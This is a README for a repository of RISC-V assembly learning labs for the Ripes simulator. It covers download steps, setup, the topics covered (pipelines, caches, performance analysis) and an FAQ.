🚀 ripes-projects - Explore RISC-V Assembly Learning Labs

📦 Introduction

Welcome to the ripes-projects repository. This is a curated collection of RISC-V assembly experiments designed for the Ripes simulator. The projects here illustrate key concepts in CPU design and performance analysis. Each lab contains detailed explanations, sample .asm code files, and expected metrics. This resource is perfect for anyone wanting to learn about computer architecture.

🚀 Features

• Educational Labs: Each experiment teaches critical concepts in assembly programming and CPU architecture.
• Assembly Code Samples: Every lab includes working .asm files ready for use in Ripes.
• Performance Metrics: Understand the effectiveness of each experiment through clearly defined metrics.
• User-Friendly Documentation: Follow easy-to-understand guides throughout each project.

🛠️ System Requirements

To run the experiments from this repository, you'll need:

• Operating System: Windows, macOS, or a Linux distribution
• Ripes Simulator: Install the Ripes software. Visit the Ripes GitHub page for instructions.
• Memory: At least 4 GB of RAM recommended for smooth functionality.
• Disk Space: Ensure you have at least 100 MB of available space for the labs.

📥 Download & Install

To get started, visit the following page to download the latest version of the projects:

Download the latest release here

Once on the releases page:

1. Find the version you wish to download. The latest version is usually at the top.
2. Click on the release to view individual assets.
3. Download the relevant assets for your needs. For example, look for .zip or .tar.gz files containing the labs.
4. Unzip the downloaded file to your preferred location on your computer.
5. Open the Ripes simulator and load the included .asm files to start experimenting.

🏁 Getting Started

1. Install Ripes: Follow the installation instructions on the Ripes GitHub page.
2. Open Ripes: Launch the software once installed.
3. Load Your Experiment: In Ripes, navigate to the file menu and select "Open". Choose a .asm file from the labs you downloaded.
4. Run the Experiment: Use the Ripes interface to run the code. Follow along with the documentation included in each lab for guidance.

📖 Documentation

Each lab in the repository comes with comprehensive documentation. Here’s how you can make the most of it:

• Theory Section: Understand the underlying concepts related to the assembly code.
• Instructions: Follow step-by-step guides on what to do with each lab.
• Metrics: Review the expected output metrics to learn about performance.

🔍 Topics Covered

This repository contains various topics related to RISC-V architecture and assembly programming, including:

• Assembly programming
• Cache memory concepts
• Computer architecture fundamentals
• CPU pipeline design
• Performance analysis techniques
• Processor simulation using Ripes

🗂️ Contribution

If you want to help improve this repository:

• Feel free to create an issue for any bugs you discover.
• Suggest new lab ideas or improvements through pull requests.
• Share your findings and results from using the labs.

🔗 Additional Resources

To further enhance your learning experience, here are some additional resources:

• RISC-V Foundation – Learn more about the RISC-V ecosystem.
• Ripes Documentation – Detailed help on using the Ripes simulator.

❓ Frequently Asked Questions

Q: Can I use these labs for teaching?
A: Yes, these labs are designed as educational tools and are suitable for teaching purposes.

Q: Are updates frequent?
A: We strive to update the repository regularly based on new insights and user feedback.

Q: Where can I find help?
A: For questions, consider opening an issue in the repository or checking discussions in the community.

Thank you for your interest in the ripes-projects! We hope you enjoy exploring RISC-V assembly and learn a lot along the way. Happy coding!